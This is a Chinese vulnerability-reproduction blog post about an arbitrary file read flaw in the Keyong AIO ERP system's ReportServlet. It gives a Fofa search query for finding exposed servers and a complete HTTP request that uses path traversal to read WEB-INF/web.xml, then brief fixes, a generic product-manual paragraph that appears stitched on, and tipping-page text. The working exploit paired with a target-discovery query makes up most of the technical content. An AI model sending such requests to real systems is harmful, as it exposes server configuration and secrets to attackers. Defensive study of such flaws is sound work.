【漏洞复现】科荣AIO ReportServlet 任意文件读取漏洞

免责声明:

        本文内容旨在提供有关特定漏洞或安全漏洞的信息,以帮助用户更好地了解可能存在的风险。公布此类信息的目的在于促进网络安全意识和技术进步,并非出于任何恶意目的。阅读者应该明白,在利用本文提到的漏洞信息或进行相关测试时,可能会违反某些法律法规或服务协议。同时,未经授权地访问系统、网络或应用程序可能导致法律责任或其他严重后果。作者不对读者基于本文内容而产生的任何行为或后果承担责任。读者在使用本文所提供的信息时,必须遵守适用法律法规和相关服务协议,并独自承担所有风险和责任。如有侵权,请联系删除。

产品简介

科荣AIO 企业⼀体化管理解决⽅案 通过ERPERP(进销存财务)、OAOA(办公⾃动化)、CRMCRM(客⼾关系管理)、UDPUDP(⾃定义平台),集电⼦商务平台、⽀付平台、ERP 平台、微信平台、移动APP 等解决了众多企业客⼾在管理过程中跨部⻔、多功能、需求多变等通⽤及个性化的问题。

漏洞描述

科荣AIO ReportServlet 文件存在任意文件读取漏洞,攻击者通过漏洞可以获取服务器中的敏感信息

网络空间测绘

Fofa

body="changeAccount('8000')"

image.png

漏洞复现

GET /ReportServlet?operation=getPicFile&fileName=../../website/WEB-INF/web.xml HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 732; .NET4.0C; .NET4.0E; LBBROWSER)
Accept-Encoding: gzip, deflate, br
Connection: keep-alive


image.png

修复建议

1、如⾮必要,禁⽌公⽹访问该系统。
2、用防火墙等安全设备设定访问规则,只允许白名单中的设备访问。
3、及时升级产品到最新版本。

科荣AIO管理系统V7版是一款全新升级的管理系统,旨在为用户提供更加便捷高效的操作体验。本用户手册将详细介绍系统的功能及操作方法,帮助用户快速上手使用。 系统功能方面,科荣AIO管理系统V7版提供了多种功能模块,包括人力资源管理、财务管理、销售管理、库存管理等。用户可以根据自身需求选择相应的模块进行操作。例如,人力资源管理模块提供了员工信息管理、考勤管理、工资管理等功能,用户可以通过该模块实现对人力资源的全面管理。 在操作方法方面,用户可以通过登录系统后,选择对应的模块进入相应页面。系统界面简洁清晰,用户可以通过菜单栏或快捷入口快速找到所需功能。在每个页面中,用户可以根据提示输入相应的信息,例如添加或修改员工信息、录入财务数据等。系统还提供了数据查询和报表生成等功能,用户可以方便地查看和分析数据。 此外,科荣AIO管理系统V7版还具有用户权限管理功能,管理员可以根据需要设置不同用户的权限,确保系统的安全性和数据的保密性。 总之,科荣AIO管理系统V7版是一款功能强大、操作简便的管理系统,通过本用户手册的详细介绍,用户可以迅速掌握系统的使用方法,提高工作效率。如果用户在使用过程中遇到问题,可以参考本手册或联系系统供应商的客服人员寻求帮助。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

凝聚力安全团队

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值